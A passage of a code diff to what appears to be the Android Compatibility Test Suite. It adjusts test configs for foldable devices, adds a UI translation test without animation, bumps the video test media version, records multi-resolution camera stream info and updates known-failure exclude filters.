@@ -232,7 +235,7 @@
     }
 }
 
-private fun injectMoveEventsForDrag(
+fun injectMoveEventsForDrag(
     uiAutomation: UiAutomation,
     downTime: Long,
     dragStartTime: Long = downTime,
@@ -265,7 +268,7 @@
  * @param yOnScreen The y screen coordinate to press on
  * sent.
  */
-private fun injectUpEvent(
+fun injectUpEvent(
     uiAutomation: UiAutomation,
     downTime: Long,
     upTime: Long,
@@ -281,7 +284,7 @@
  * @param yOnScreen The y screen coordinate to press on
  * sent.
  */
-private fun injectDownEvent(
+fun injectDownEvent(
     uiAutomation: UiAutomation,
     downTime: Long,
     xOnScreen: Int,
diff --git a/tests/tests/widget29/AndroidTest.xml b/tests/tests/widget29/AndroidTest.xml
index f867df3..a04b975 100644
--- a/tests/tests/widget29/AndroidTest.xml
+++ b/tests/tests/widget29/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWidgetTestCases29.apk" />
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
index 98ab11d..c845138 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
@@ -146,7 +146,7 @@
                 wifiManager.unregisterScanResultsCallback(scanResultsCallback);
             }
             List<ScanResult> scanResults = wifiManager.getScanResults();
-            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+            if (scanResults == null || scanResults.isEmpty()) continue;
             for (ScanResult scanResult : scanResults) {
                 WifiConfiguration matchingNetwork = savedNetworks.stream()
                         .filter(network -> TextUtils.equals(
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 81129ed..a8dfee4 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -2276,6 +2276,7 @@
      * configuration.
      * @throws Exception
      */
+    @VirtualDeviceNotSupported
     public void testSetGetSoftApConfigurationAndSoftApCapabilityCallback() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -2365,6 +2366,7 @@
      * Verify that startTetheredHotspot with specific channel config.
      * @throws Exception
      */
+    @VirtualDeviceNotSupported
     public void testStartTetheredHotspotWithChannelConfigAndSoftApStateAndInfoCallback()
             throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
diff --git a/tests/tests/wrap/nowrap/AndroidTest.xml b/tests/tests/wrap/nowrap/AndroidTest.xml
index 40baa14..359da5b 100644
--- a/tests/tests/wrap/nowrap/AndroidTest.xml
+++ b/tests/tests/wrap/nowrap/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/wrap/wrap_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug/AndroidTest.xml
index 4730f47..de18df2 100644
--- a/tests/tests/wrap/wrap_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
index ebba361..14ab58f 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
index b61b7eb..dc7c704 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/translation/AndroidTest.xml b/tests/translation/AndroidTest.xml
index 378599f..6f213f5 100644
--- a/tests/translation/AndroidTest.xml
+++ b/tests/translation/AndroidTest.xml
@@ -19,6 +19,7 @@
   <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
   <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
   <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+  <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
     <option name="test-file-name" value="CtsTranslationTestCases.apk" />
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 34ceb72..ca3c8ca 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.content.Context.CONTENT_CAPTURE_MANAGER_SERVICE;
 import static android.content.Context.TRANSLATION_MANAGER_SERVICE;
+import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_PAUSE;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_RESUME;
@@ -39,6 +40,7 @@
 
 import android.app.PendingIntent;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.icu.util.ULocale;
@@ -79,6 +81,7 @@
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -240,6 +243,60 @@
     }
 
     @Test
+    public void testUiTranslationWithoutAnimation() throws Throwable {
+        final float[] originalAnimationDurationScale = new float[1];
+        try {
+            // Disable animation
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                ContentResolver resolver =
+                        ApplicationProvider.getApplicationContext().getContentResolver();
+                originalAnimationDurationScale[0] =
+                        Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
+                Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
+            });
+
+            final Pair<List<AutofillId>, ContentCaptureContext> result =
+                    enableServicesAndStartActivityForTranslation();
+
+            final CharSequence originalText = mTextView.getText();
+            final List<AutofillId> views = result.first;
+            final ContentCaptureContext contentCaptureContext = result.second;
+
+            final String translatedText = "success";
+            final UiObject2 helloText = Helper.findObjectByResId(Helper.ACTIVITY_PACKAGE,
+                    SimpleActivity.HELLO_TEXT_ID);
+            assertThat(helloText).isNotNull();
+            // Set response
+            final TranslationResponse response =
+                    createViewsTranslationResponse(views, translatedText);
+            sTranslationReplier.addResponse(response);
+
+            startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(translatedText);
+
+            pauseUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(originalText.toString());
+
+            resumeUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(translatedText);
+
+            finishUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(originalText.toString());
+        } finally {
+            // restore animation
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                Settings.Global.putFloat(
+                        ApplicationProvider.getApplicationContext().getContentResolver(),
+                        ANIMATOR_DURATION_SCALE, originalAnimationDurationScale[0]);
+            });
+        }
+    }
+
+    @Test
     public void testPauseUiTranslationThenStartUiTranslation() throws Throwable {
         final Pair<List<AutofillId>, ContentCaptureContext> result =
                 enableServicesAndStartActivityForTranslation();
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index 18a59ab..5bd4d68 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/video/AndroidTest.xml b/tests/video/AndroidTest.xml
index b498a06..b2bb9c6 100644
--- a/tests/video/AndroidTest.xml
+++ b/tests/video/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsVideoTestCases-1.2" />
+        <option name="media-folder-name" value="CtsVideoTestCases-1.3" />
         <option name="dynamic-config-module" value="CtsVideoTestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/video/DynamicConfig.xml b/tests/video/DynamicConfig.xml
index 015c3ac..966f3ec 100644
--- a/tests/video/DynamicConfig.xml
+++ b/tests/video/DynamicConfig.xml
@@ -1,5 +1,5 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/video/CtsVideoTestCases-1.2.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/video/CtsVideoTestCases-1.3.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/video/README.md b/tests/video/README.md
index b7ef16d..6441789 100644
--- a/tests/video/README.md
+++ b/tests/video/README.md
@@ -3,7 +3,7 @@
 1. Testing video encoder/decoder performance by running encoding/decoding without displaying the raw data.
 2. Testing key operating rate for Hardware video encoder/decoder.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/video/CtsVideoTestCases-1.2.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/video/CtsVideoTestCases-1.3.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
 
 ### Commands
 ```sh
diff --git a/tests/video/copy_media.sh b/tests/video/copy_media.sh
index 784913a..fd4d871 100644
--- a/tests/video/copy_media.sh
+++ b/tests/video/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install cts video test files manually
 
 adbOptions=" "
-resLabel=CtsVideoTestCases-1.2
+resLabel=CtsVideoTestCases-1.3
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
index d95e069..1c4e6d8 100644
--- a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
+++ b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
@@ -121,6 +121,17 @@
             if (mMaxOpRateScalingFactor < 1.0f) {
                 mOperatingRateExpected = operatingRateToSet;
             }
+
+            if (EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K) {
+                int width = mEncoderFormat.getInteger(MediaFormat.KEY_WIDTH);
+                int height = mEncoderFormat.getInteger(MediaFormat.KEY_HEIGHT);
+                if (width >= 3840 && height >= 2160) {
+                    assumeTrue("For devices launched with Android R and below, operating rate " +
+                            "tests are limited to operating rate <= 0 or >= 30 for 4k and" +
+                            " above", operatingRateToSet <= 0 || operatingRateToSet >= 30);
+                }
+            }
+
             mDecoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
             mEncoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
         } else if (mMaxOpRateScalingFactor < 0.0f) {
diff --git a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
index 5a34fce..0d49b59 100644
--- a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
+++ b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
@@ -58,6 +58,10 @@
     // resolutions that are less than half of max supported frame sizes of encoder.
     static final boolean EXCLUDE_ENCODER_MAX_RESOLUTION;
 
+    // Some older devices can not support concurrent instances of both decoder and encoder
+    // for operating rates > 0 and < 30 for resolutions 4k
+    static final boolean EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K;
+
     static final String mInputPrefix = WorkDir.getMediaDirString();
 
     ArrayList<MediaCodec.BufferInfo> mBufferInfos;
@@ -100,6 +104,12 @@
 
         // Encoders on devices launched on Android Q and lower aren't tested at maximum resolution
         EXCLUDE_ENCODER_MAX_RESOLUTION = DEVICE_INITIAL_SDK <= Build.VERSION_CODES.Q;
+
+        // Encoders on devices launched on Android R and lower aren't tested when operating rate
+        // that is set is > 0 and < 30 for resolution 4k.
+        // This includes devices launched on Android S with R or lower vendor partition.
+        EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K =
+            !IS_AT_LEAST_VNDK_S || (DEVICE_INITIAL_SDK <= Build.VERSION_CODES.R);
     }
 
     @Before
diff --git a/tests/video/src/android/video/cts/WorkDir.java b/tests/video/src/android/video/cts/WorkDir.java
index 27dfa86..52ed2e6 100644
--- a/tests/video/src/android/video/cts/WorkDir.java
+++ b/tests/video/src/android/video/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsVideoTestCases-1.2/");
+            return (getTopDirString() + "test/CtsVideoTestCases-1.3/");
         }
     }
 }
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index ccc230b..3db9e6f 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -46,7 +46,7 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts catbox
+LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts catbox gcatbox ats
 
 include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
 
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index 820c1ad..4a12d70 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -24,6 +24,8 @@
 import android.hardware.camera2.params.BlackLevelPattern;
 import android.hardware.camera2.params.ColorSpaceTransform;
 import android.hardware.camera2.params.StreamConfigurationMap;
+import android.hardware.camera2.params.MultiResolutionStreamConfigurationMap;
+import android.hardware.camera2.params.MultiResolutionStreamInfo;
 import android.media.CamcorderProfile;
 import android.os.Build;
 import android.util.Log;
@@ -42,6 +44,7 @@
 import java.lang.reflect.ParameterizedType;
 import java.lang.reflect.Type;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -232,6 +235,18 @@
             mStore.endGroup();
         }
 
+        private void storeRangeFloat(
+                Range<Float> range, String protoName) throws Exception {
+            if (protoName == null) {
+                mStore.startGroup();
+            } else {
+                mStore.startGroup(protoName);
+            }
+            mStore.addResult("lower", range.getLower());
+            mStore.addResult("upper", range.getUpper());
+            mStore.endGroup();
+        }
+
         private void storeRangeInt(
                 Range<Integer> range, String protoName) throws Exception {
             if (protoName == null) {
@@ -287,6 +302,55 @@
             mStore.endGroup();
         }
 
+        private void storeMultiResStreamConfigurationMap(
+                MultiResolutionStreamConfigurationMap map, String protoName) throws Exception {
+            if (protoName == null) {
+                mStore.startGroup();
+            } else {
+                mStore.startGroup(protoName);
+            }
+
+            mStore.startArray("availableMultiResolutionConfigurations");
+            int[] fmts = map.getOutputFormats();
+            if (fmts != null) {
+                for (int fi = 0; fi < Array.getLength(fmts); fi++) {
+                    Collection<MultiResolutionStreamInfo> streamInfo = map.getOutputInfo(fmts[fi]);
+                    if (streamInfo != null) {
+                        for (MultiResolutionStreamInfo oneStream : streamInfo) {
+                            mStore.startGroup();
+                            mStore.addResult("format", fmts[fi]);
+                            mStore.addResult("width", oneStream.getWidth());
+                            mStore.addResult("height", oneStream.getHeight());
+                            mStore.addResult("cameraId", oneStream.getPhysicalCameraId());
+                            mStore.addResult("input", false);
+                            mStore.endGroup();
+                        }
+                    }
+                }
+            }
+
+            int[] inputFmts = map.getInputFormats();
+            if (inputFmts != null) {
+                for (int fi = 0; fi < Array.getLength(inputFmts); fi++) {
+                    Collection<MultiResolutionStreamInfo> streamInfo =
+                            map.getInputInfo(inputFmts[fi]);
+                    if (streamInfo != null) {
+                        for (MultiResolutionStreamInfo oneStream : streamInfo) {
+                            mStore.startGroup();
+                            mStore.addResult("format", inputFmts[fi]);
+                            mStore.addResult("width", oneStream.getWidth());
+                            mStore.addResult("height", oneStream.getHeight());
+                            mStore.addResult("cameraId", oneStream.getPhysicalCameraId());
+                            mStore.addResult("input", true);
+                            mStore.endGroup();
+                        }
+                    }
+                }
+            }
+            mStore.endArray();
+            mStore.endGroup();
+        }
+
         private static String getKeyName(Object keyObj) {
             return ((CameraCharacteristics.Key) keyObj).getName();
         }
@@ -342,6 +406,11 @@
                 return;
             } else if (keyType instanceof ParameterizedType &&
                     ((ParameterizedType) keyType).getRawType() == Range.class &&
+                    ((ParameterizedType) keyType).getActualTypeArguments()[0] == Float.class) {
+                storeRangeFloat((Range<Float>) keyValue, protoName);
+                return;
+            } else if (keyType instanceof ParameterizedType &&
+                    ((ParameterizedType) keyType).getRawType() == Range.class &&
                     ((ParameterizedType) keyType).getActualTypeArguments()[0] == Integer.class) {
                 storeRangeInt((Range<Integer>) keyValue, protoName);
                 return;
@@ -356,6 +425,9 @@
             } else if (keyType == BlackLevelPattern.class) {
                 storeBlackLevelPattern((BlackLevelPattern) keyValue, protoName);
                 return;
+            } else if (keyType == MultiResolutionStreamConfigurationMap.class) {
+                storeMultiResStreamConfigurationMap(
+                        (MultiResolutionStreamConfigurationMap) keyValue, protoName);
             } else {
                 Log.w(TAG, "Storing unsupported key type: " + keyType +
                         " for keyName: " + keyName);
@@ -634,6 +706,7 @@
         charsKeyNames.add(CameraCharacteristics.TONEMAP_AVAILABLE_TONE_MAP_MODES.getName());
         charsKeyNames.add(CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL.getName());
         charsKeyNames.add(CameraCharacteristics.INFO_VERSION.getName());
+        charsKeyNames.add(CameraCharacteristics.INFO_DEVICE_STATE_SENSOR_ORIENTATION_MAP.getName());
         charsKeyNames.add(CameraCharacteristics.SYNC_MAX_LATENCY.getName());
         charsKeyNames.add(CameraCharacteristics.REPROCESS_MAX_CAPTURE_STALL.getName());
         charsKeyNames.add(CameraCharacteristics.DEPTH_DEPTH_IS_EXCLUSIVE.getName());
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
index c3d97b5..dee557e 100644
--- a/tools/cts-tradefed/Android.bp
+++ b/tools/cts-tradefed/Android.bp
@@ -34,7 +34,7 @@
     wrapper: "etc/cts-tradefed",
     short_name: "CTS",
     full_name: "Compatibility Test Suite",
-    version: "12_r1",
+    version: "12.1_r1",
     static_libs: ["cts-tradefed-harness"],
     required: ["compatibility-host-util"],
 }
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
index 250fba8..cf74572 100644
--- a/tools/cts-tradefed/res/config/cts-foldable.xml
+++ b/tools/cts-tradefed/res/config/cts-foldable.xml
@@ -29,5 +29,9 @@
     <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
          launcher always visible on one of the screens. -->
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
+    <!-- b/203779972: CtsCameraTestCases failures due to mismatching orientation between
+         device and camera sensor. -->
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index c6b4537..5f32749 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -194,9 +194,6 @@
     <option name="compatibility:exclude-filter" value="CtsLocation2TestCases android.location2.cts.LocationManagerTest#testGetCoarseLocationUpdates_withListener" />
     <option name="compatibility:exclude-filter" value="CtsLocation2TestCases android.location2.cts.LocationManagerTest#testGetNetworkProviderLocationUpdates_withListener" />
 
-    <!-- b/116002979 -->
-    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.ListeningPortsTest" />
-
     <!-- b/117107760 -->
     <option name="compatibility:exclude-filter" value="CtsHarmfulAppWarningHostTestCases android.harmfulappwarning.cts.HarmfulAppWarningTest#testDismissDialog" />
     <option name="compatibility:exclude-filter" value="CtsHarmfulAppWarningHostTestCases android.harmfulappwarning.cts.HarmfulAppWarningTest#testLaunchAnyway" />
@@ -248,4 +245,22 @@
     <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsd.atom.UidAtomTests#testDangerousPermissionState" />
     <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsd.atom.UidAtomTests#testDangerousPermissionStateSampled" />
 
+    <!-- b/204721335 -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_onWindowLayoutChangeListener" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_getWindowLayoutInfo" />
+
+    <!-- b/209382234 -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases[run-on-work-profile] android.devicepolicy.cts.KeyManagementTest" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases[run-on-secondary-user] android.devicepolicy.cts.KeyManagementTest" />
+
+    <!-- b/203177211 -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" />
+
+  <!-- b/182630972, b/214019488 -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.PinnedStackTests#testEnterPipWithMinimalSize" />
+
+    <!-- b/205492302 -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testSetCameraDisabled" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 2faf29b..d07400f 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -65,6 +65,9 @@
     <!-- b/183654427 Remove CtsTelecomTestCases from cts-on-gsi -->
     <option name="compatibility:exclude-filter" value="CtsTelecomTestCases" />
 
+    <!-- b/183655483 Remove CtsTelephonySdk28TestCases from cts-on-gsi -->
+    <option name="compatibility:exclude-filter" value="CtsTelephonySdk28TestCases" />
+
     <!-- b/183234756, b/80388296, b/110260628, b/159295445, b/159294948 CtsDevicePolicyManagerTestCases -->
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases" />
 
@@ -77,9 +80,6 @@
     <!-- b/183659262 Remove CtsPreferenceTestCases from cts-on-gsi -->
     <option name="compatibility:exclude-filter" value="CtsPreferenceTestCases" />
 
-    <!-- b/183636777 Remove CtsShortcutManagerPackage4 from cts-on-gsi -->
-    <option name="compatibility:exclude-filter" value="CtsShortcutManagerPackage4" />
-
     <!-- b/185451791. Can't have single overlay package for both AOSP version and Google-signed mainline modules -->
     <option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.cts.ConcurrencyTest#testPersistentGroupOperation" />
     <option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.cts.ConcurrencyTest#testRequestNetworkInfo" />
@@ -95,4 +95,16 @@
 
     <!-- b/183653612: CtsTransitionTestCases -->
     <option name="compatibility:exclude-filter" value="CtsTransitionTestCases" />
+
+    <!-- b/198226244 -->
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.CodecEncoderPerformanceTest#testPerformanceOfHardwareVideoEncoders" />
+
+    <!-- b/203177211 -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" />
+
+    <!-- b/212223944 -->
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_30ms" />
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_100ms" />
+
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-system-checkers.xml b/tools/cts-tradefed/res/config/cts-system-checkers.xml
index 7639bf9..7bad8b4 100644
--- a/tools/cts-tradefed/res/config/cts-system-checkers.xml
+++ b/tools/cts-tradefed/res/config/cts-system-checkers.xml
@@ -27,4 +27,9 @@
     <system_checker class="com.android.tradefed.suite.checker.DeviceSettingChecker" />
     <system_checker class="com.android.tradefed.suite.checker.SystemServerStatusChecker" />
     <system_checker class="com.android.tradefed.suite.checker.SystemServerFileDescriptorChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.DeviceBaselineChecker">
+        <option name="enable-device-baseline-settings" value="true" />
+        <option name="enable-experimental-device-baseline-setters" value="keep_screen_on" />
+        <option name="enable-experimental-device-baseline-setters" value="disable_os_auto_update" />
+    </system_checker>
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-validation.xml b/tools/cts-tradefed/res/config/cts-validation.xml
index fa8a666..5c34cb3 100644
--- a/tools/cts-tradefed/res/config/cts-validation.xml
+++ b/tools/cts-tradefed/res/config/cts-validation.xml
@@ -14,8 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Runs a subset of CTS tests using a general kernel image (GKI)">
-    <option name="plan" value="cts-validation" />
     <option name="result-attribute" key="GKI" value="1" />
     <include name="cts-on-gsi" />
     <include name="cts-validation-exclude" />
+    <option name="plan" value="cts-validation" />
 </configuration>
diff --git a/tools/vm-tests-tf/AndroidTest.xml b/tools/vm-tests-tf/AndroidTest.xml
index 4006b65..0bbe411 100644
--- a/tools/vm-tests-tf/AndroidTest.xml
+++ b/tools/vm-tests-tf/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Jar test -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
